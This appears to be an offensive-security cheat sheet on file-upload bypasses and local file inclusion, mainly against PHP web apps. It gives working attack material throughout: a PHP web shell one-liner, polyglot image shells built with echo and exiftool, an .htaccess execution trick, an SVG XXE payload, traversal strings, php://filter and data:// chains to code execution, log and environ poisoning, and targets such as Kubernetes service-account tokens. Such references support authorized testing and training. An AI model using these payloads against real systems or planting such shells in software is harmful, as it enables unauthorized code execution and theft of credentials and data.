File Upload & LFI
Sections File Upload & LFI
Upload a file that gets interpreted as code, or trick the app into including a file with malicious content. Both lead to RCE.
T=https://target.com
i. Where it lives
File Upload
- Avatar / profile picture upload
- Document attachment (tickets, support, messages)
- Resume / CV upload (parsed by HR system)
- Import features (CSV, XML, JSON, archives)
- File-sharing applications
- Plugin / theme upload (WordPress, vBulletin, etc)
- Image processing (thumbnail generation, format conversion)
Local File Inclusion (LFI)
?file=/?page=/?template=/?include=URL parameters- Language selectors (
?lang=en→include('lang/' . $_GET['lang'] . '.php')) - Theme / skin parameters
- Help / docs viewer endpoints
- Plugin loaders
- API endpoints that take filenames
Remote File Inclusion (RFI)
Rare in modern PHP (default allow_url_include=Off), but found on legacy installs. Same input pattern as LFI but accepts full URLs.
ii. File upload - bypass techniques
The defense levels you’ll typically encounter:
Layer 1: Extension blacklist
Server rejects .php, .jsp, .exe. Try lesser-known executable extensions:
| Server | Extensions that get executed |
|---|---|
| PHP | .php, .php3, .php4, .php5, .php7, .pht, .phar, .phtml, .phps, .pgif, .shtml, .htaccess |
| ASP.NET | .asp, .aspx, .ashx, .asmx, .config, .cer, .asax, .cshtml |
| Java | .jsp, .jspx, .jsw, .jsv, .jspf, .war |
| Node | .js, depends on app routing - less interesting via upload |
| Generic | .htaccess (Apache only) to remap extensions, .htpasswd, web.config (IIS) |
.phtml, .phar, .shtml are commonly missed in PHP blacklists.
Layer 2: Extension allowlist
Server only accepts .jpg, .png, .gif. Bypass strategies:
Double extension:
shell.php.jpg ## sometimes Apache executes .php in middle when .jpg not registered handler
shell.jpg.php
Null byte injection (PHP < 5.3 only):
shell.php%00.jpg
Case variations:
shell.pHp
shell.PHP
shell.pHtMl
Path traversal in filename:
filename=../../shell.php ## traverses out of upload dir into a php-executable dir
Multiple extensions (Apache mod_mime quirk):
shell.php.foo.bar ## Apache trims unknown extensions right-to-left
Layer 3: Magic byte / MIME-sniffing check
Server reads first bytes of the file to verify it’s actually an image:
Polyglot files: a single file that is BOTH a valid image AND valid code in another language.
## Simplest GIF polyglot:
echo 'GIF89a;<?php system($_GET[0]); ?>' > shell.php
## Server sees GIF89a magic bytes → thinks it's an image. PHP engine ignores everything before <?php.
## JPG with embedded PHP:
exiftool -Comment="<?php system($_GET[0]); ?>" cat.jpg
mv cat.jpg shell.php.jpg ## or rename based on extension trick
Layer 4: Content-Type validation
Server checks the request’s Content-Type header. Just modify it in Burp:
Content-Type: image/png ## even when actual file is .php
Layer 5: Server-side image processing
Server processes the image (resize, convert, strip metadata). This usually destroys polyglot payloads. Bypass:
ImageMagick CVE chain (ImageTragick, GhostButt, etc) - see WEB07 XXE section viii for context, ImageMagick-Tragick payloads can still hit older installs.
SVG with embedded JS / XXE:
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [<!ENTITY x SYSTEM "file:///etc/passwd">]>
<svg xmlns="http://www.w3.org/2000/svg">
<text>&x;</text>
</svg>
Upload as avatar.svg. When the app renders it, XXE fires.
Layer 6: Path / filename sanitization
Server strips path traversal, sanitizes filename. Try:
- Null byte in path:
../../../shell.php%00.jpg - Unicode normalization:
‥/‥/shell.php(using Unicode lookalikes) - URL-encoded slashes:
..%2F..%2Fshell.php - Double-URL-encoding:
..%252F..%252Fshell.php
iii. The .htaccess upload trick
When you can upload any file (no extension filtering at all OR Apache backend), upload a custom .htaccess:
AddType application/x-httpd-php .jpg
Then upload shell.jpg containing PHP code. Apache now executes .jpg files as PHP in that directory.
iv. Web shell choices by language
| Stack | Web shell |
|---|---|
| PHP | <?php system($_GET[0]); ?> |
| JSP / Tomcat | JSP shell from PayloadsAllTheThings |
| ASP.NET | Tiny aspx shell, see PAT |
| Node.js | Less common via upload, more via dep confusion / RCE |
| Python (Flask/Django) | Pickle / template injection via upload |
For full shell payloads per language, see PayloadsAllTheThings - Upload Insecure Files .
For getting a stable callback after upload, see Reverse Shells - the JSP/ASPX shells from msfvenom are battle-tested.
v. Tools for upload bypass discovery
Upload Scanner (Burp extension)
Automatic file upload testing. Sends every common extension/Content-Type combination, watches responses.
fuxploider
git clone https://github.com/almandin/fuxploider
python3 fuxploider.py --url "$T/upload.php" --not-regex "Wrong" -m 10
Tests many extension/MIME combinations to find what slips through.
file-upload-bypass-scanner / Upload-Bypass
Various tools on GitHub do the same thing - automated extension/MIME fuzzing.
Manual is often more reliable: identify the framework, look at PayloadsAllTheThings for that stack’s known bypasses.
vi. LFI - the basics
The fundamental pattern:
?file=../../etc/passwd
?file=....//....//etc/passwd ## bypass once-stripped ..
?file=..%2f..%2fetc%2fpasswd ## URL encoding
?file=..%252f..%252fetc%252fpasswd ## double URL encoding
?file=/etc/passwd ## absolute path
?file=/etc/passwd%00 ## null byte (PHP < 5.3)
?file=/proc/self/environ ## env vars (often has User-Agent etc)
Probe with these patterns until you see /etc/passwd content in the response.
vii. PHP wrappers for LFI
PHP supports stream wrappers that turn LFI into more useful primitives:
php://filter (file read, often the most useful)
Encode the file contents in base64 to read binary-safe:
?file=php://filter/convert.base64-encode/resource=/etc/passwd
?file=php://filter/convert.base64-encode/resource=index.php ## read source code
?file=php://filter/read=convert.base64-encode/resource=../config.php
Decode the base64 in the response. Reads source code of the app - a goldmine for finding more bugs.
php://filter chain to RCE (no upload needed!)
A series of PHP filters can be chained to generate arbitrary content. Synacktiv published a generator that produces a php:// filter chain delivering arbitrary PHP code through nothing but an LFI:
python3 php_filter_chain_generator.py --chain '<?php system($_GET[0]); ?>'
## Outputs a long base64-encoded php://filter URL
## Use it directly:
?file=<the generated chain>&0=id
This is the single most powerful LFI escalation technique in 2024+ for PHP.
data:// (when allow_url_include=On)
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWzBdKTsgPz4=&0=id
expect:// (when PECL expect is installed, rare)
?file=expect://id
phar:// (deserialization + LFI = RCE without uploading PHP)
When you can upload a .phar file and trigger an LFI that loads it, the phar metadata deserializes. See WEB14 Deserialization
.
zip:// (read files inside an uploaded zip)
?file=zip:///tmp/uploaded.zip%23payload.php
Combined with upload, can be a useful chain when direct PHP execution is blocked.
viii. LFI to RCE classical chains
Beyond php://filter, the classic LFI-to-RCE paths:
Log poisoning
- Inject PHP code into a log the server writes (User-Agent into access log, error log)
- Include the log file via LFI
- PHP executes the injected code
## Apache access log:
?file=/var/log/apache2/access.log
## Then send a request with:
User-Agent: <?php system($_GET[0]); ?>
## Now hit:
?file=/var/log/apache2/access.log&0=id
Common log locations:
/var/log/apache2/access.log,/var/log/apache2/error.log/var/log/nginx/access.log,/var/log/nginx/error.log/var/log/httpd/access_log,/var/log/httpd/error_log/var/log/auth.log(poison via failed SSH login with PHP in username)/var/log/mail.log,/var/log/maillog/var/log/vsftpd.log
/proc/self/environ
Some PHP-FPM/CGI configs expose env vars in /proc/self/environ. Poisoning the User-Agent puts PHP code there:
?file=/proc/self/environ
## with User-Agent: <?php system($_GET[0]); ?>
## then: ?file=/proc/self/environ&0=id
Modern setups often have this file unreadable to the web user. Try anyway.
PHP session file
PHP sessions are stored in /var/lib/php/sessions/sess_<sessionid> (or /tmp/). If you can write to session data (some apps write user-controlled data into the session), then include the session file:
?file=/var/lib/php/sessions/sess_<your_session_id>
/tmp/sess_*
Some configs use /tmp/. Easier path.
File upload + LFI chain
When direct upload is restricted to non-executable extensions but you have LFI, upload a file with PHP code in it (any extension, the content matters) and include it:
1. Upload "image.jpg" containing <?php system($_GET[0]); ?>
2. ?file=/path/to/uploads/image.jpg&0=id
ix. fimap (LFI scanner)
Older but still useful:
fimap -u "$T/page?file=test"
fimap -u "$T/page?file=test" -x ## attempt RCE
LFI Suite is a similar option. Most modern scanners handle LFI in their general web vuln checks.
x. Tricks worth knowing
Detect filter presence
Submit ?file=index.php literally. If it returns the file, LFI confirmed AND not heavily filtered. If it returns the file rendered (HTML), the app is doing include() (LFI). If it returns the source, the app is doing file read (less useful but still leaks code).
NULL byte (legacy)
PHP < 5.3 truncates strings at %00. Modern PHP throws an error. Still worth testing on old apps.
Trailing slash trick
Some apps append .php to the file param. Bypass with NULL byte (old PHP) or by chaining wrappers:
?file=../../etc/passwd ## becomes "../../etc/passwd.php" → error
?file=../../etc/passwd%00 ## old PHP truncates
?file=php://filter/.../resource=../../etc/passwd ## the wrapper handles the path
Wrappers stack
php://filter chains multiple filters separated by |:
php://filter/convert.base64-encode|convert.iconv.utf-8.utf-16/resource=/etc/passwd
Used in the synacktiv chain generator to produce RCE without uploading.
Path normalization differences
Same path, different parsers:
/etc/passwd
/etc//passwd
/etc/./passwd
/etc/passwd/
/etc/PASSWD (case)
When one is filtered, try variants.
Containerized apps
In Docker/Kubernetes, /etc/passwd is the container’s, not the host’s. Useful files:
/proc/1/cgroup- reveals container ID/proc/self/environ- env vars often have secrets/var/run/secrets/kubernetes.io/serviceaccount/token- K8s SA token/.dockerenv- confirms Docker- App-specific configs at
/app/,/usr/src/app/
xi. References
Upload
- PortSwigger - File upload
- PayloadsAllTheThings - Upload Insecure Files
- HackTricks - File upload
- Upload Scanner Burp extension
- fuxploider
LFI
- PortSwigger - Path traversal
- PortSwigger - File inclusion
- PayloadsAllTheThings - File Inclusion
- HackTricks - LFI
- Synacktiv PHP filter chain generator
- HackTricks - PHP wrappers
xii. Where it leads
- Web shell upload → RCE → 04 Initial Access / W01 Recon & Enum
- LFI source code read → identify SQLi / deserialization / hardcoded creds → exploit
- LFI to RCE via php://filter chain → direct RCE without upload
- LFI + session/log poisoning → RCE
- SVG with XXE → see WEB07 XXE
- Phar deserialization → see WEB14 Deserialization
- /proc/self/environ leak → credentials in env vars
Once code execution lands, follow the standard foothold flow → Reverse Shells → 05 Local Enum → privesc.